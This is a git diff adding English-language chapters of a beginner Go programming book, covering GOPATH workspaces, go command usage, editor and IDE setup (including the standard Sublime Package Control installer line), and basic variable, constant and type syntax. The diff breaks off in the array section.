$GOPATH. Notice that this is not the $GOROOT variable where Go is installed. This variable points to the workspace of Go on your computer (I use this path on my computer; if you don't have the same directory structure, please replace by yourself). + +In Unix-like systems, the variable should be used like this: + + export GOPATH=/home/apple/mygo + +In Windows, you need to create a new environment variable called GOPATH, then set its value to `c:\mygo`( ***This value depends on where your workspace is located*** ) + +It's OK to have more than one path (workspace) in $GOPATH, but remember that you have to use `:`(`;` in Windows) to break them up. At this point, `go get` will save the content to your first path in $GOPATH. + +In $GOPATH, you must have three folders as follows. + +- `src` for source files whose suffix is .go, .c, .g, .s. +- `pkg` for compiled files whose suffix is .a. +- `bin` for executable files + +In this book, I use `mygo` as my only path in $GOPATH. + +## Package directory + +Create package source files and folders like `$GOPATH/src/mymath/sqrt.go` (`mymath` is the package name) ( ***Author uses `mymath` as his package name, and same name for the folder where contains package source files***) + +Every time you create a package, you should create a new folder in the `src` directory. Folder names are usually the same as the package that you are going to use. You can have multi-level directories if you want to. For example, if you create the directory `$GOPATH/src/github.com/astaxie/beedb`, then the package path would be `github.com/astaxie/beedb`. The package name will be the last directory in your path, which is `beedb` in this case. + +Execute following commands. ( ***Now author goes back to talk examples*** ) + + cd $GOPATH/src + mkdir mymath + +Create a new file called `sqrt.go`, type following content to your file. + + // Source code of $GOPATH/src/mymath/sqrt.go + package mymath + + func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z + } + +Now my package directory has been created and its code has been written. I recommend that you use the same name for your packages as their corresponding directories, and that the directories contain all of the package source files. + +## Compile packages + +We've already created our package above, but how do we compile it for practical purposes? There are two ways to do this. + +1. Switch your work path to the directory of your package, then execute the `go install` command. +2. Execute the above command except with a file name, like `go install mymath`. + +After compiling, we can open the following folder. + + cd $GOPATH/pkg/${GOOS}_${GOARCH} + // you can see the file was generated + mymath.a + +The file whose suffix is `.a` is the binary file of our package. How do we use it? + +Obviously, we need to create a new application to use it. + +Create a new application package called `mathapp`. + + cd $GOPATH/src + mkdir mathapp + cd mathapp + vim main.go + +code + + //$GOPATH/src/mathapp/main.go source code. + package main + + import ( + "mymath" + "fmt" + ) + + func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) + } + +To compile this application, you need to switch to the application directory, which in this case is `$GOPATH/src/mathapp`, then execute the `go install` command. Now you should see an executable file called `mathapp` was generated in the directory `$GOPATH/bin/`. To run this program, use the `./mathapp` command. You should see the following content in your terminal. + + Hello world. Sqrt(2) = 1.414213562373095 + +## Install remote packages + +Go has a tool for installing remote packages, which is a command called `go get`. It supports most open source communities, including Github, Google Code, BitBucket, and Launchpad. + + go get github.com/astaxie/beedb + +You can use `go get -u …` to update your remote packages and it will automatically install all the dependent packages as well. + +This tool will use different version control tools for different open source platforms. For example, `git` for Github and `hg` for Google Code. Therefore, you have to install these version control tools before you use `go get`. + +After executing the above commands, the directory structure should look like following. + + $GOPATH + src + |-github.com + |-astaxie + |-beedb + pkg + |--${GOOS}_${GOARCH} + |-github.com + |-astaxie + |-beedb.a + +Actually, `go get` clones source code to the $GOPATH/src of the local file system, then executes `go install`. + +You can use remote packages in the same way that we use local packages. + + import "github.com/astaxie/beedb" + +## Directory complete structure + +If you've followed all of the above steps, your directory structure should now look like the following. + + bin/ + mathapp + pkg/ + ${GOOS}_${GOARCH}, such as darwin_amd64, linux_amd64 + mymath.a + github.com/ + astaxie/ + beedb.a + src/ + mathapp + main.go + mymath/ + sqrt.go + github.com/ + astaxie/ + beedb/ + beedb.go + util.go + +Now you are able to see the directory structure clearly; `bin` contains executable files, `pkg` contains compiled files and `src` contains package source files. + +(The format of environment variables in Windows is `%GOPATH%`, however this book mainly follows the Unix-style, so Windows users need to replace these yourself.) + +## Links + +- [Directory](preface.md) +- Previous section: [Installation](01.1.md) +- Next section: [Go commands](01.3.md) diff --git a/de/01.3.md b/de/01.3.md new file mode 100644 index 00000000..c544f065 --- /dev/null +++ b/de/01.3.md @@ -0,0 +1,106 @@ +#1.3 Go commands + +## Go commands + +The Go language comes with a complete set of command operation tools. You can execute the command line `go` to see them: + +![](images/1.3.go.png?raw=true) + +Figure 1.3 Go command displays detailed information + +These are all useful for us. Let's see how to use some of them. + +## go build + +This command is for compiling tests. It will compile dependence packages if it's necessary. + +- If the package is not the `main` package such as `mymath` in section 1.2, nothing will be generated after you execute `go build`. If you need package file `.a` in `$GOPATH/pkg`, use `go install` instead. +- If the package is the `main` package, it will generate an executable file in the same folder. If you want the file to be generated in `$GOPATH/bin`, use `go install` or `go build -o ${PATH_HERE}/a.exe.` +- If there are many files in the folder, but you just want to compile one of them, you should append the file name after `go build`. For example, `go build a.go`. `go build` will compile all the files in the folder. +- You can also assign the name of the file that will be generated. For instance, in the `mathapp` project (in section 1.2), using `go build -o astaxie.exe` will generate `astaxie.exe` instead of `mathapp.exe`. The default name is your folder name (non-main package) or the first source file name (main package). + +(According to [The Go Programming Language Specification](https://golang.org/ref/spec), package names should be the name after the word `package` in the first line of your source files. It doesn't have to be the same as the folder name, and the executable file name will be your folder name by default.]) + +- `go build` ignores files whose names start with `_` or `.`. +- If you want to have different source files for every operating system, you can name files with the system name as a suffix. Suppose there are some source files for loading arrays. They could be named as follows: + + array_linux.go | array_darwin.go | array_windows.go | array_freebsd.go + +`go build` chooses the one that's associated with your operating system. For example, it only compiles array_linux.go in Linux systems, and ignores all the others. + +## go clean + +This command is for cleaning files that are generated by compilers, including the following files: + + _obj/ // old directory of object, left by Makefiles + _test/ // old directory of test, left by Makefiles + _testmain.go // old directory of gotest, left by Makefiles + test.out // old directory of test, left by Makefiles + build.out // old directory of test, left by Makefiles + *.[568ao] // object files, left by Makefiles + + DIR(.exe) // generated by go build + DIR.test(.exe) // generated by go test -c + MAINFILE(.exe) // generated by go build MAINFILE.go + +I usually use this command to clean up my files before I upload my project to Github. These are useful for local tests, but useless for version control. + +## go fmt and gofmt + +The people who are working with C/C++ should know that people are always arguing about which code style is better: K&R-style or ANSI-style. However in Go, there is only one code style which is enforced. For example, left braces must only be inserted at the end of lines, and they cannot be on their own lines, otherwise you will get compile errors! Fortunately, you don't have to remember these rules. `go fmt` does this job for you. Just execute the command `go fmt .go` in terminal. I don't use this command very much because IDEs usually execute this command automatically when you save source files. I will talk about IDEs more in the next section. + +`go fmt` is just an alias, which runs the command 'gofmt -l -w' on the packages named by the import paths. + +We usually use `gofmt -w` instead of `go fmt`. The latter will not rewrite your source files after formatting code. `gofmt -w src` formats the whole project. + +## go get + +This command is for getting remote packages. So far, it supports BitBucket, Github, Google Code and Launchpad. There are actually two things that happen after we execute this command. The first thing is that Go downloads the source code, then executes `go install`. Before you use this command, make sure you have installed all of the related tools. + + BitBucket (Mercurial Git) + Github (git) + Google Code (Git, Mercurial, Subversion) + Launchpad (Bazaar) + +In order to use this command, you have to install these tools correctly. Don't forget to set `$PATH`. By the way, it also supports customized domain names. Use `go help remote` for more details about this. + +## go install + +This command compiles all packages and generates files, then moves them to `$GOPATH/pkg` or `$GOPATH/bin`. + +## go test + +This command loads all files whose name include `*_test.go` and generates test files, then prints information that looks like the following. + + ok archive/tar 0.011s + FAIL archive/zip 0.022s + ok compress/gzip 0.033s + ... + +It tests all your test files by default. Use command `go help testflag` for more details. + +## godoc + +Many people say that we don't need any third-party documentation for programming in Go (actually I've made a [CHM](https://github.com/astaxie/godoc) already). Go has a powerful tool to manage documentation natively. + +So how do we look up package information in documentation? For instance, if you want to get more details about the `builtin` package, use the `godoc builtin` command. Similarly, use the `godoc net/http` command to look up the `http` package documentation. If you want to see more details about specific functions, use the `godoc fmt Printf` and `godoc -src fmt Printf` commands to view the source code. + +Execute the `godoc -http=:8080` command, then open `127.0.0.1:8080` in your browser. You should see a localized golang.org. It can not only show the standard packages' information, but also packages in your `$GOPATH/pkg`. It's great for people who are suffering from the Great Firewall of China. + +## Other commands + +Go provides more commands than those we've just talked about. + + go fix // upgrade code from an old version before go1 to a new version after go1 + go version // get information about your version of Go + go env // view environment variables about Go + go list // list all installed packages + go run // compile temporary files and run the application + +There are also more details about the commands that I've talked about. You can use `go help ` to look them up. + +## Links + +- [Directory](preface.md) +- Previous section: [$GOPATH and workspace](01.2.md) +- Next section: [Go development tools](01.4.md) diff --git a/de/01.4.md b/de/01.4.md new file mode 100644 index 00000000..8126d76e --- /dev/null +++ b/de/01.4.md @@ -0,0 +1,399 @@ +# Go development tools + +In this section, I'm going to show you a few IDEs that can help you become a more efficient programmer, with capabilities such as intelligent code completion and auto-formatting. They are all cross-platform, so the steps I will be showing you should not be very different, even if you are not using the same operating system. + +## LiteIDE + +LiteIDE is an open source, lightweight IDE for developing Go projects only, developed by visualfc. + +![](images/1.4.liteide.png?raw=true) + +Figure 1.4 Main panel of LiteIDE + +LiteIDE features. + +- Cross-platform + - Windows + - Linux + - Mac OS +- Cross-compile + - Manage multiple compile environments + - Supports cross-compilation of Go +- Project management standard + - Documentation view based on $GOPATH + - Compilation system based on $GOPATH + - API documentation index based on $GOPATH +- Go source code editor + - Code outlining + - Full support of gocode + - Go documentation view and API index + - View code expression using `F1` + - Function declaration jump using `F2` + - Gdb support + - Auto-format with `gofmt` +- Others + - Multi-language + - Plugin system + - Text editor themes + - Syntax support based on Kate + - intelligent completion based on full-text + - Customized shortcuts + - Markdown support + - Real-time preview + - Customized CSS + - Export HTML and PDF + - Convert and merge to HTML and PDF + +### LiteIDE installation + +- Install LiteIDE + - [Download page](http://code.google.com/p/golangide) + - [Source code](https://github.com/visualfc/liteide) + + You need to install Go first, then download the version appropriate for your operating system. Decompress the package to directly use it. +- Install gocode + + You have to install gocode in order to use intelligent completion + + go get -u github.com/nsf/gocode + +- Compilation environment + + Switch configuration in LiteIDE to suit your operating system. + In Windows and using the 64-bit version of Go, you should choose win64 as the configuration environment in the tool bar. Then, choose `opinion`, find `LiteEnv` in the left list and open file `win64.env` in the right list. + + GOROOT=c:\go + GOBIN= + GOARCH=amd64 + GOOS=windows + CGO_ENABLED=1 + + PATH=%GOBIN%;%GOROOT%\bin;%PATH% + 。。。 + + Replace `GOROOT=c:\go` to your Go installation path, save it. If you have MinGW64, add `c:\MinGW64\bin` to your path environment variable for `cgo` support. + + In Linux and using the 64-bit version of Go, you should choose linux64 as the configuration environment in the tool bar. Then, choose `opinion`, find `LiteEnv` in the left list and open the `linux64.env` file in the right list. + + GOROOT=$HOME/go + GOBIN= + GOARCH=amd64 + GOOS=linux + CGO_ENABLED=1 + + PATH=$GOBIN:$GOROOT/bin:$PATH + 。。。 + + Replace `GOROOT=$HOME/go` to your Go installation path, save it. +- $GOPATH + $GOPATH is the path that contains a list of projects. Open the command tool (or press ``Ctrl+` ``in LiteIDE), then type `go help gopath` for more details. + It's very easy to view and change $GOPATH in LiteIDE. Follow `View - Setup GOPATH` to view and change these values. + +## Sublime Text + +Here I'm going to introduce you the Sublime Text 2 (Sublime for short) + GoSublime + gocode + MarGo. Let me explain why. + +- Intelligent completion + + ![](images/1.4.sublime1.png?raw=true) + + Figure 1.5 Sublime intelligent completion +- Auto-format source files +- Project management + + ![](images/1.4.sublime2.png?raw=true) + + Figure 1.6 Sublime project management + +- Syntax highlight +- Free trial forever with no functional limitations. You may be prompted once in a while to remind you to purchase a license, but you can simply ignore it if you wish. Of course, if you do find that it enhances your productivity and you really enjoy using it, please purchase a copy of it and support its continued development! + +First, download the version of [Sublime](http://www.sublimetext.com/) suitable for your operating system. + +1. Press ``Ctrl+` ``, open the command tool and input the following commands. + + import urllib2,os; pf='Package Control.sublime-package'; ipp=sublime.installed_packages_path(); os.makedirs(ipp) if not os.path.exists(ipp) else None; urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler())); open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()); print 'Please restart Sublime Text to finish installation' + + Restart Sublime text when the installation has finished. You should then find a `Package Control` option in the "Preferences" menu. + + ![](images/1.4.sublime3.png?raw=true) + + Figure 1.7 Sublime Package Control +2. To install GoSublime, SidebarEnhancements and Go Build, press `Ctrl+Shift+p` to open Package Control, then type `pcip` (short for "Package Control: Install Package"). + + ![](images/1.4.sublime4.png?raw=true) + + Figure 1.8 Sublime Install Packages + + Now type in "GoSublime", press OK to install the package, and repeat the same steps for installing SidebarEnhancements and Go Build. Once again, restart the editor when it completes the installation. +3. To verify that the installation is successful, open Sublime, then open the `main.go` file to see if it has the proper syntax highlighting. Type `import` to see if code completion prompts appear. After typing `import "fmt"`, type `fmt.` anywhere after the `import` declaration to see whether or not intelligent code completion for functions was successfully enabled. + + If everything is fine, you're all set. + + If not, check your $PATH again. Open terminal, type `gocode`. If it does not run, your $PATH was not configured correctly. + +## Vim + +Vim is a popular text editor for programmers, which evolved from its slimmer predecessor, Vi. It has functions for intelligent completion, compilation and jumping to errors. + +![](images/1.4.vim.png?raw=true) + +Figure 1.8 Vim intelligent completion for Go + +1. Syntax highlighting for Go + + cp -r $GOROOT/misc/vim/* ~/.vim/ + +2. Enabling syntax highlighting + + filetype plugin indent on + syntax on + +3. Install [gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode will be installed in `$GOBIN` as default + +4. Configure [gocode](https://github.com/nsf/gocode/) + + ~ cd $GOPATH/src/github.com/nsf/gocode/vim + ~ ./update.bash + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + + Explanation of gocode configuration: + + propose-builtins: specifies whether or not to open intelligent completion; false by default. + lib-path: gocode only searches for packages in `$GOPATH/pkg/$GOOS_$GOARCH` and `$GOROOT/pkg/$GOOS_$GOARCH`. This setting can be used to add additional paths. + +5. Congratulations! Try `:e main.go` to experience the world of Go! + +## Emacs + +Emacs is the so-called Weapon of God. She is not only an editor, but also a powerful IDE. + +![](images/1.4.emacs.png?raw=true) + +Figure 1.10 Emacs main panel of Go editor + +1. Syntax highlighting + + cp $GOROOT/misc/emacs/* ~/.emacs.d/ + +2. Install [gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode will be installed in `$GOBIN` as default +3. Configure [gocode](https://github.com/nsf/gocode/) + + ~ cd $GOPATH/src/github.com/nsf/gocode/vim + ~ ./update.bash + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + +4. Install [Auto Completion](http://www.emacswiki.org/emacs/AutoComplete) + Download and uncompress + + ~ make install DIR=$HOME/.emacs.d/auto-complete + + Configure ~/.emacs file + + ;;auto-complete + (require 'auto-complete-config) + (add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict") + (ac-config-default) + (local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) + (local-set-key "." 'semantic-complete-self-insert) + (local-set-key ">" 'semantic-complete-self-insert) + + Follow this [link](http://www.emacswiki.org/emacs/AutoComplete) for more details. +5. Configure .emacs + + ;; golang mode + (require 'go-mode-load) + (require 'go-autocomplete) + ;; speedbar + ;; (speedbar 1) + (speedbar-add-supported-extension ".go") + (add-hook + 'go-mode-hook + '(lambda () + ;; gocode + (auto-complete-mode 1) + (setq ac-sources '(ac-source-go)) + ;; Imenu & Speedbar + (setq imenu-generic-expression + '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1) + ("func" "^func *\\(.*\\) {" 1))) + (imenu-add-to-menubar "Index") + ;; Outline mode + (make-local-variable 'outline-regexp) + (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....") + (outline-minor-mode 1) + (local-set-key "\M-a" 'outline-previous-visible-heading) + (local-set-key "\M-e" 'outline-next-visible-heading) + ;; Menu bar + (require 'easymenu) + (defconst go-hooked-menu + '("Go tools" + ["Go run buffer" go t] + ["Go reformat buffer" go-fmt-buffer t] + ["Go check buffer" go-fix-buffer t])) + (easy-menu-define + go-added-menu + (current-local-map) + "Go tools" + go-hooked-menu) + + ;; Other + (setq show-trailing-whitespace t) + )) + ;; helper function + (defun go () + "run current buffer" + (interactive) + (compile (concat "go run " (buffer-file-name)))) + + ;; helper function + (defun go-fmt-buffer () + "run gofmt on current buffer" + (interactive) + (if buffer-read-only + (progn + (ding) + (message "Buffer is read only")) + (let ((p (line-number-at-pos)) + (filename (buffer-file-name)) + (old-max-mini-window-height max-mini-window-height)) + (show-all) + (if (get-buffer "*Go Reformat Errors*") + (progn + (delete-windows-on "*Go Reformat Errors*") + (kill-buffer "*Go Reformat Errors*"))) + (setq max-mini-window-height 1) + (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t)) + (progn + (erase-buffer) + (insert-buffer-substring "*Go Reformat Output*") + (goto-char (point-min)) + (forward-line (1- p))) + (with-current-buffer "*Go Reformat Errors*" + (progn + (goto-char (point-min)) + (while (re-search-forward "" nil t) + (replace-match filename)) + (goto-char (point-min)) + (compilation-mode)))) + (setq max-mini-window-height old-max-mini-window-height) + (delete-windows-on "*Go Reformat Output*") + (kill-buffer "*Go Reformat Output*")))) + ;; helper function + (defun go-fix-buffer () + "run gofix on current buffer" + (interactive) + (show-all) + (shell-command-on-region (point-min) (point-max) "go tool fix -diff")) +6. Congratulations, you're done! Speedbar is closed by default -remove the comment symbols in the line `;;(speedbar 1)` to enable this feature, or you can use it through `M-x speedbar`. + +## Eclipse + +Eclipse is also a great development tool. I'll show you how to use it to write Go programs. + +![](images/1.4.eclipse1.png?raw=true) + +Figure 1.1 Eclipse main panel for editing Go + +1. Download and install [Eclipse](http://www.eclipse.org/) +2. Download [goclipse](https://code.google.com/p/goclipse/) + [http://code.google.com/p/goclipse/wiki/InstallationInstructions](http://code.google.com/p/goclipse/wiki/InstallationInstructions) +3. Download gocode + + gocode in Github. + + https://github.com/nsf/gocode + + You need to install git in Windows, usually we use [msysgit](https://code.google.com/p/msysgit/) + + Install gocode in the command tool + + go get -u github.com/nsf/gocode + + You can install from source code if you like. +4. Download and install [MinGW](http://sourceforge.net/projects/mingw/files/MinGW/) +5. Configure plugins. + + Windows->Preferences->Go + + (1).Configure Go compiler + + ![](images/1.4.eclipse2.png?raw=true) + + Figure 1.12 Go Setting in Eclipse + + (2).Configure gocode(optional), set gocode path to where the gocode.exe is. + + ![](images/1.4.eclipse3.png?raw=true) + + Figure 1.13 gocode Setting + + (3).Configure gdb(optional), set gdb path to where the gdb.exe is. + + ![](images/1.4.eclipse4.png?raw=true) + + Figure 1.14 gdb Setting +6. Check the installation + + Create a new Go project and hello.go file as following. + + ![](images/1.4.eclipse5.png?raw=true) + + Figure 1.15 Create new project and file + + Test installation as follows.(you need to type command in console in Eclipse) + + ![](images/1.4.eclipse6.png?raw=true) + + Figure 1.16 Test Go program in Eclipse + +## IntelliJ IDEA + +People who have worked with Java should be familiar with this IDE. It supports Go syntax highlighting and intelligent code completion, implemented by a plugin. + +1. Download IDEA, there is no difference between the Ultimate and Community editions + + ![](images/1.4.idea1.png?raw=true) + +2. Install the Go plugin. Choose `File - Setting - Plugins`, then click `Browser repo`. + + ![](images/1.4.idea3.png?raw=true) + +3. Search `golang`, double click `download and install` and wait for the download to complete. + + ![](images/1.4.idea4.png?raw=true) + + Click `Apply`, then restart. +4. Now you can create a Go project. + + ![](images/1.4.idea5.png?raw=true) + + Input the position of your Go sdk in the next step -basically it's your $GOROOT. + +( ***See a [blog post](http://wuwen.org/tips-about-using-intellij-idea-and-go/) for setup and use IntelliJ IDEA with Go step by step *** ) + +## Links + +- [Directory](preface.md) +- Previous section: [Go commands](01.3.md) +- Next section: [Summary](01.5.md) diff --git a/de/01.5.md b/de/01.5.md new file mode 100644 index 00000000..6df9c420 --- /dev/null +++ b/de/01.5.md @@ -0,0 +1,9 @@ +# 1.5 Summary + +In this chapter, we talked about how to install Go using three different methods including from source code, the standard package and via third-party tools. Then we showed you how to configure the Go development environment, mainly covering how to setup your `$GOPATH`. After that, we introduced some steps for compiling and deploying Go programs. We then covered Go commands, including the compile, install, format and test commands. Finally, there are many powerful tools to develop Go programs such as LiteIDE, Sublime Text, Vim, Emacs, Eclipse, IntelliJ IDEA, etc. You can choose any one you like exploring the world of Go. + +## Links + +- [Directory](preface.md) +- Previous section: [Go development tools](01.4.md) +- Next chapter: [Go basic knowledge](02.0.md) diff --git a/de/02.0.md b/de/02.0.md new file mode 100644 index 00000000..4c5f468a --- /dev/null +++ b/de/02.0.md @@ -0,0 +1,17 @@ +# 2 Go basic knowledge + +Go is a compiled system programming language, and it belongs to the C-family. However, its compilation speed is much faster than other C-family languages. It has only 25 keywords... even less than the 26 letters of the English alphabet! Let's take a look at these keywords before we get started. + + break default func interface select + case defer go map struct + chan else goto package switch + const fallthrough if range type + continue for import return var + +In this chapter, I'm going to teach you some basic Go knowledge. You will find out how concise the Go programming language is, and the beautiful design of the language. Programming can be very fun in Go. After we complete this chapter, you'll be familiar with the above keywords. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 1 Summary](01.5.md) +- Next section: ["Hello, Go"](02.1.md) diff --git a/de/02.1.md b/de/02.1.md new file mode 100644 index 00000000..658fcb0e --- /dev/null +++ b/de/02.1.md @@ -0,0 +1,53 @@ +# 2.1 Hello, Go + +Before we start building an application in Go, we need to learn how to write a simple program. You can't expect to build a building without first knowing how to build its foundation. Therefore, we are going to learn the basic syntax to run some simple programs in this section. + +## Program + +According to international practice, before you learn how to program in some languages, you will want to know how to write a program to print "Hello world". + +Are you ready? Let's Go! + + package main + + import "fmt" + + func main() { + fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界\n") + } + +It prints following information. + + Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界 + +## Explanation + +One thing that you should know in the first is that Go programs are composed by `package`. + +`package ` (In this case is `package main`) tells us this source file belongs to `main` package, and the keyword `main` tells us this package will be compiled to a program instead of package files whose extensions are `.a`. + +Every executable program has one and only one `main` package, and you need an entry function called `main` without any arguments or return values in the `main` package. + +In order to print `Hello, world…`, we called a function called `Printf`. This function is coming from `fmt` package, so we import this package in the third line of source code, which is `import "fmt"` + +The way to think about packages in Go is similar to Python, and there are some advantages: Modularity (break up your program into many modules) and reusability (every module can be reused in many programs). We just talked about concepts regarding packages, and we will make our own packages later. + +On the fifth line, we use the keyword `func` to define the `main` function. The body of the function is inside of `{}`, just like C, C++ and Java. + +As you can see, there are no arguments. We will learn how to write functions with arguments in just a second, and you can also have functions that have no return value or have several return values. + +On the sixth line, we called the function `Printf` which is from the package `fmt`. This was called by the syntax `.`, which is very like Python-style. + +As we mentioned in chapter 1, the package's name and the name of the folder that contains that package can be different. Here the `` comes from the name in `package `, not the folder's name. + +You may notice that the example above contains many non-ASCII characters. The purpose of showing this is to tell you that Go supports UTF-8 by default. You can use any UTF-8 character in your programs. + +## Conclusion + +Go uses `package` (like modules in Python) to organize programs. The function `main.main()` (this function must be in the `main` package) is the entry point of any program. Go supports UTF-8 characters because one of the creators of Go is a creator of UTF-8, so Go has supported multiple languages from the time it was born. + +## Links + +- [Directory](preface.md) +- Previous section: [Go basic knowledge](02.0.md) +- Next section: [Go foundation](02.2.md) diff --git a/de/02.2.md b/de/02.2.md new file mode 100644 index 00000000..21b7952e --- /dev/null +++ b/de/02.2.md @@ -0,0 +1,454 @@ +# 2.2 Go foundation + +In this section, we are going to teach you how to define constants, variables with elementary types and some skills in Go programming. + +## Define variables + +There are many forms of syntax that can be used to define variables in Go. + +The keyword `var` is the basic form to define variables, notice that Go puts the variable type `after` the variable name. + + // define a variable with name “variableName” and type "type" + var variableName type + +Define multiple variables. + + // define three variables which types are "type" + var vname1, vname2, vname3 type + +Define a variable with initial value. + + // define a variable with name “variableName”, type "type" and value "value" + var variableName type = value + +Define multiple variables with initial values. + + /* + Define three variables with type "type", and initialize their values. + vname1 is v1, vname2 is v2, vname3 is v3 + */ + var vname1, vname2, vname3 type = v1, v2, v3 + +Do you think that it's too tedious to define variables use the way above? Don't worry, because the Go team has also found this to be a problem. Therefore if you want to define variables with initial values, we can just omit the variable type, so the code will look like this instead: + + /* + Define three variables without type "type", and initialize their values. + vname1 is v1,vname2 is v2,vname3 is v3 + */ + var vname1, vname2, vname3 = v1, v2, v3 + +Well, I know this is still not simple enough for you. Let's see how we fix it. + + /* + Define three variables without type "type" and without keyword "var", and initialize their values. + vname1 is v1,vname2 is v2,vname3 is v3 + */ + vname1, vname2, vname3 := v1, v2, v3 + +Now it looks much better. Use `:=` to replace `var` and `type`, this is called a brief statement. But wait, it has one limitation: this form can only be used inside of functions. You will get compile errors if you try to use it outside of function bodies. Therefore, we usually use `var` to define global variables and we can use this brief statement in `var()`. + +`_` (blank) is a special variable name. Any value that is given to it will be ignored. For example, we give `35` to `b`, and discard `34`.( ***This example just show you how it works. It looks useless here because we often use this symbol when we get function return values.*** ) + + _, b := 34, 35 + +If you don't use variables that you've defined in your program, the compiler will give you compilation errors. Try to compile the following code and see what happens. + + package main + + func main() { + var i int + } + +## Constants + +So-called constants are the values that are determined during compile time and you cannot change them during runtime. In Go, you can use number, boolean or string as types of constants. + +Define constants as follows. + + const constantName = value + // you can assign type of constants if it's necessary + const Pi float32 = 3.1415926 + +More examples. + + const Pi = 3.1415926 + const i = 10000 + const MaxThread = 10 + const prefix = "astaxie_" + +## Elementary types + +### Boolean + +In Go, we use `bool` to define a variable as boolean type, the value can only be `true` or `false`, and `false` will be the default value. ( ***You cannot convert variables' type between number and boolean!*** ) + + // sample code + var isActive bool // global variable + var enabled, disabled = true, false // omit type of variables + func test() { + var available bool // local variable + valid := false // brief statement of variable + available = true // assign value to variable + } + +### Numerical types + +Integer types include both signed and unsigned integer types. Go has `int` and `uint` at the same time, they have same length, but specific length depends on your operating system. They use 32-bit in 32-bit operating systems, and 64-bit in 64-bit operating systems. Go also has types that have specific length including `rune`, `int8`, `int16`, `int32`, `int64`, `byte`, `uint8`, `uint16`, `uint32`, `uint64`. Note that `rune` is alias of `int32` and `byte` is alias of `uint8`. + +One important thing you should know that you cannot assign values between these types, this operation will cause compile errors. + + var a int8 + + var b int32 + + c := a + b + +Although int32 has a longer length than int8, and has the same type as int, you cannot assign values between them. ( ***c will be asserted as type `int` here*** ) + +Float types have the `float32` and `float64` types and no type called `float`. The latter one is the default type if using brief statement. + +That's all? No! Go supports complex numbers as well. `complex128` (with a 64-bit real and 64-bit imaginary part) is the default type, if you need a smaller type, there is one called `complex64` (with a 32-bit real and 32-bit imaginary part). Its form is `RE+IMi`, where `RE` is real part and `IM` is imaginary part, the last `i` is imaginary number. There is a example of complex number. + + var c complex64 = 5+5i + //output: (5+5i) + fmt.Printf("Value is: %v", c) + +### String + +We just talked about how Go uses the UTF-8 character set. Strings are represented by double quotes `""` or backticks ``` `` ```. + + // sample code + var frenchHello string // basic form to define string + var emptyString string = "" // define a string with empty string + func test() { + no, yes, maybe := "no", "yes", "maybe" // brief statement + japaneseHello := "Ohaiou" + frenchHello = "Bonjour" // basic form of assign values + } + +It's impossible to change string values by index. You will get errors when you compile following code. + + var s string = "hello" + s[0] = 'c' + +What if I really want to change just one character in a string? Try following code. + + s := "hello" + c := []byte(s) // convert string to []byte type + c[0] = 'c' + s2 := string(c) // convert back to string type + fmt.Printf("%s\n", s2) + +You use the `+` operator to combine two strings. + + s := "hello," + m := " world" + a := s + m + fmt.Printf("%s\n", a) + +and also. + + s := "hello" + s = "c" + s[1:] // you cannot change string values by index, but you can get values instead. + fmt.Printf("%s\n", s) + +What if I want to have a multiple-line string? + + m := `hello + world` + +`` ` will not escape any characters in a string. + +### Error types + +Go has one `error` type for purpose of dealing with error messages. There is also a package called `errors` to handle errors. + + err := errors.New("emit macho dwarf: elf header corrupted") + if err != nil { + fmt.Print(err) + } + +### Underlying data structure + +The following picture comes from an article about [Go data structure](http://research.swtch.com/godata) in [Russ Cox Blog](http://research.swtch.com/). As you can see, Go utilizes blocks of memory to store data. + +![](images/2.2.basic.png?raw=true) + +Figure 2.1 Go underlying data structure + +## Some skills + +### Define by group + +If you want to define multiple constants, variables or import packages, you can use the group form. + +Basic form. + + import "fmt" + import "os" + + const i = 100 + const pi = 3.1415 + const prefix = "Go_" + + var i int + var pi float32 + var prefix string + +Group form. + + import( + "fmt" + "os" + ) + + const( + i = 100 + pi = 3.1415 + prefix = "Go_" + ) + + var( + i int + pi float32 + prefix string + ) + +Unless you assign the value of constant is `iota`, the first value of constant in the group `const()` will be `0`. If following constants don't assign values explicitly, their values will be the same as the last one. If the value of last constant is `iota`, the values of following constants which are not assigned are `iota` also. + +### iota enumerate + +Go has one keyword called `iota`, this keyword is to make `enum`, it begins with `0`, increased by `1`. + + const( + x = iota // x == 0 + y = iota // y == 1 + z = iota // z == 2 + w // If there is no expression after the constants name, it uses the last expression, so it's saying w = iota implicitly. Therefore w == 3, and y and x both can omit "= iota" as well. + ) + + const v = iota // once iota meets keyword `const`, it resets to `0`, so v = 0. + + const ( + e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line. + ) + +### Some rules + +The reason that Go is concise because it has some default behaviors. + +- Any variable that begins with a capital letter means it will be exported, private otherwise. +- The same rule applies for functions and constants, no `public` or `private` keyword exists in Go. + +## array, slice, map + +### array + +`array` is an array obviously, we define a one as follows. + + var arr [n]type + +in `[n]type`, `n` is the length of the array, `type` is the type of its elements. Like other languages, we use `[]` to get or set element values within arrays. + + var arr [10]int // an array of type [10]int + arr[0] = 42 // array is 